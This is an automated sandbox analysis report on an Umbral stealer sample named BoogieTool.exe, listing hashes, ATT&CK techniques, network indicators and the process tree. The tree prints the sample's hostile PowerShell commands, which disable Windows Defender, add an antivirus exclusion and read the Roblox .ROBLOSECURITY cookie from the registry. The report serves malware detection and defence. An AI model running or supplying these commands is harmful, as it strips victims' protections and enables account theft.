umbral | 3b97b49496b1d19bd7fec189d26ba0e5ff3051eb759e48cc02c934aceb7868ee

Analysis

max time kernel
6s
max time network
7s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
04-09-2024 02:36

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General

Target

BoogieTool.exe
Size

229KB
MD5

a95d6f4a4315650e730488eabbe1a5dc
SHA1

dd8358dceb4125cbcc85c2d18721a2ef1aa5b165
SHA256

3b97b49496b1d19bd7fec189d26ba0e5ff3051eb759e48cc02c934aceb7868ee
SHA512

b3a1822d4426178ceae2ab76597bf072c41cfa374141bc7adfb01dfafcfc443a713d1526e800290afd265cd932ec756235ffde880cf5ab6fd858b2adf1ed619e
SSDEEP

6144:tloZMYrIkd8g+EtXHkv/iD4yfqmR/k4XoG/BcoNNKb8e1mwMQi:voZHL+EP8yfqmR/k4XoG/BcoNAKJ

Score

10^/10

umbral credential_access execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/3620-1-0x0000026F783E0000-0x0000026F78420000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1688	powershell.exe
3468	powershell.exe
2284	powershell.exe
1840	powershell.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
20	discord.com
19	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
17	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3056	wmic.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
1688	powershell.exe
1688	powershell.exe
3468	powershell.exe
3468	powershell.exe
2284	powershell.exe
2284	powershell.exe
1140	powershell.exe
1140	powershell.exe
1840	powershell.exe
1840	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3620	BoogieTool.exe
Token: SeDebugPrivilege	1688	powershell.exe
Token: SeDebugPrivilege	3468	powershell.exe
Token: SeDebugPrivilege	2284	powershell.exe
Token: SeDebugPrivilege	1140	powershell.exe
Token: SeIncreaseQuotaPrivilege	4296	wmic.exe
Token: SeSecurityPrivilege	4296	wmic.exe
Token: SeTakeOwnershipPrivilege	4296	wmic.exe
Token: SeLoadDriverPrivilege	4296	wmic.exe
Token: SeSystemProfilePrivilege	4296	wmic.exe
Token: SeSystemtimePrivilege	4296	wmic.exe
Token: SeProfSingleProcessPrivilege	4296	wmic.exe
Token: SeIncBasePriorityPrivilege	4296	wmic.exe
Token: SeCreatePagefilePrivilege	4296	wmic.exe
Token: SeBackupPrivilege	4296	wmic.exe
Token: SeRestorePrivilege	4296	wmic.exe
Token: SeShutdownPrivilege	4296	wmic.exe
Token: SeDebugPrivilege	4296	wmic.exe
Token: SeSystemEnvironmentPrivilege	4296	wmic.exe
Token: SeRemoteShutdownPrivilege	4296	wmic.exe
Token: SeUndockPrivilege	4296	wmic.exe
Token: SeManageVolumePrivilege	4296	wmic.exe
Token: 33	4296	wmic.exe
Token: 34	4296	wmic.exe
Token: 35	4296	wmic.exe
Token: 36	4296	wmic.exe
Token: SeIncreaseQuotaPrivilege	4296	wmic.exe
Token: SeSecurityPrivilege	4296	wmic.exe
Token: SeTakeOwnershipPrivilege	4296	wmic.exe
Token: SeLoadDriverPrivilege	4296	wmic.exe
Token: SeSystemProfilePrivilege	4296	wmic.exe
Token: SeSystemtimePrivilege	4296	wmic.exe
Token: SeProfSingleProcessPrivilege	4296	wmic.exe
Token: SeIncBasePriorityPrivilege	4296	wmic.exe
Token: SeCreatePagefilePrivilege	4296	wmic.exe
Token: SeBackupPrivilege	4296	wmic.exe
Token: SeRestorePrivilege	4296	wmic.exe
Token: SeShutdownPrivilege	4296	wmic.exe
Token: SeDebugPrivilege	4296	wmic.exe
Token: SeSystemEnvironmentPrivilege	4296	wmic.exe
Token: SeRemoteShutdownPrivilege	4296	wmic.exe
Token: SeUndockPrivilege	4296	wmic.exe
Token: SeManageVolumePrivilege	4296	wmic.exe
Token: 33	4296	wmic.exe
Token: 34	4296	wmic.exe
Token: 35	4296	wmic.exe
Token: 36	4296	wmic.exe
Token: SeIncreaseQuotaPrivilege	4112	wmic.exe
Token: SeSecurityPrivilege	4112	wmic.exe
Token: SeTakeOwnershipPrivilege	4112	wmic.exe
Token: SeLoadDriverPrivilege	4112	wmic.exe
Token: SeSystemProfilePrivilege	4112	wmic.exe
Token: SeSystemtimePrivilege	4112	wmic.exe
Token: SeProfSingleProcessPrivilege	4112	wmic.exe
Token: SeIncBasePriorityPrivilege	4112	wmic.exe
Token: SeCreatePagefilePrivilege	4112	wmic.exe
Token: SeBackupPrivilege	4112	wmic.exe
Token: SeRestorePrivilege	4112	wmic.exe
Token: SeShutdownPrivilege	4112	wmic.exe
Token: SeDebugPrivilege	4112	wmic.exe
Token: SeSystemEnvironmentPrivilege	4112	wmic.exe
Token: SeRemoteShutdownPrivilege	4112	wmic.exe
Token: SeUndockPrivilege	4112	wmic.exe
Token: SeManageVolumePrivilege	4112	wmic.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 3620 wrote to memory of 1688	3620	BoogieTool.exe	84
PID 3620 wrote to memory of 1688	3620	BoogieTool.exe	84
PID 3620 wrote to memory of 3468	3620	BoogieTool.exe	88
PID 3620 wrote to memory of 3468	3620	BoogieTool.exe	88
PID 3620 wrote to memory of 2284	3620	BoogieTool.exe	90
PID 3620 wrote to memory of 2284	3620	BoogieTool.exe	90
PID 3620 wrote to memory of 1140	3620	BoogieTool.exe	92
PID 3620 wrote to memory of 1140	3620	BoogieTool.exe	92
PID 3620 wrote to memory of 4296	3620	BoogieTool.exe	96
PID 3620 wrote to memory of 4296	3620	BoogieTool.exe	96
PID 3620 wrote to memory of 4112	3620	BoogieTool.exe	99
PID 3620 wrote to memory of 4112	3620	BoogieTool.exe	99
PID 3620 wrote to memory of 2680	3620	BoogieTool.exe	101
PID 3620 wrote to memory of 2680	3620	BoogieTool.exe	101
PID 3620 wrote to memory of 1840	3620	BoogieTool.exe	103
PID 3620 wrote to memory of 1840	3620	BoogieTool.exe	103
PID 3620 wrote to memory of 3056	3620	BoogieTool.exe	106
PID 3620 wrote to memory of 3056	3620	BoogieTool.exe	106

C:\Users\Admin\AppData\Local\Temp\BoogieTool.exe
"C:\Users\Admin\AppData\Local\Temp\BoogieTool.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3620
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\BoogieTool.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1688
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3468
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2284
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1140
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4296
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4112
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1840
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:3056

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
74a6b79d36b4aae8b027a218bc6e1af7

SHA1
0350e46c1df6934903c4820a00b0bc4721779e5f

SHA256
60c64f6803d7ad1408d0a8628100470859b16ef332d5f1bd8bb2debe51251d04

SHA512
60e71435a9a23f4c144d641844f4182ddc9aa4ccd3e99232149a187112dce96458aab9587e9fea46f5dc5a52f5ca758969a04657a2b5b10241d3e4554f7c85e0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
548dd08570d121a65e82abb7171cae1c

SHA1
1a1b5084b3a78f3acd0d811cc79dbcac121217ab

SHA256
cdf17b8532ebcebac3cfe23954a30aa32edd268d040da79c82687e4ccb044adc

SHA512
37b98b09178b51eec9599af90d027d2f1028202efc1633047e16e41f1a95610984af5620baac07db085ccfcb96942aafffad17aa1f44f63233e83869dc9f697b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
08e2b6dc039d66a6bfa02fbaa9b86e1f

SHA1
1a45a88b900fc97183e50e3dd95deb5c086e2ca7

SHA256
13f0b2febb094f7d558d4325d06807162326f65290c90fa52fa1d3e4e4b35b14

SHA512
2e818787d6067890ec8586f9e4c2d459632e09c167749ff1b58fcaa273850b0ca61f0a468eda65a71358daa36a69ec7961b07cffe6ebcd7b8f79b2b796402891

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f4io2jgn.xoy.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1688-13-0x00007FFDC93D0000-0x00007FFDC9E91000-memory.dmp

Filesize
10.8MB

Download
memory/1688-14-0x00007FFDC93D0000-0x00007FFDC9E91000-memory.dmp

Filesize
10.8MB

Download
memory/1688-15-0x00007FFDC93D0000-0x00007FFDC9E91000-memory.dmp

Filesize
10.8MB

Download
memory/1688-18-0x00007FFDC93D0000-0x00007FFDC9E91000-memory.dmp

Filesize
10.8MB

Download
memory/1688-12-0x000001FCEE3A0000-0x000001FCEE3C2000-memory.dmp

Filesize
136KB

Download
memory/3620-33-0x0000026F7A1D0000-0x0000026F7A220000-memory.dmp

Filesize
320KB

Download
memory/3620-32-0x0000026F7AB60000-0x0000026F7ABD6000-memory.dmp

Filesize
472KB

Download
memory/3620-34-0x0000026F7A070000-0x0000026F7A08E000-memory.dmp

Filesize
120KB

Download
memory/3620-1-0x0000026F783E0000-0x0000026F78420000-memory.dmp

Filesize
256KB

Download
memory/3620-0-0x00007FFDC93D3000-0x00007FFDC93D5000-memory.dmp

Filesize
8KB

Download
memory/3620-70-0x0000026F7A090000-0x0000026F7A09A000-memory.dmp

Filesize
40KB

Download
memory/3620-71-0x0000026F7ABE0000-0x0000026F7ABF2000-memory.dmp

Filesize
72KB

Download
memory/3620-2-0x00007FFDC93D0000-0x00007FFDC9E91000-memory.dmp

Filesize
10.8MB

Download
memory/3620-89-0x00007FFDC93D0000-0x00007FFDC9E91000-memory.dmp

Filesize
10.8MB

Download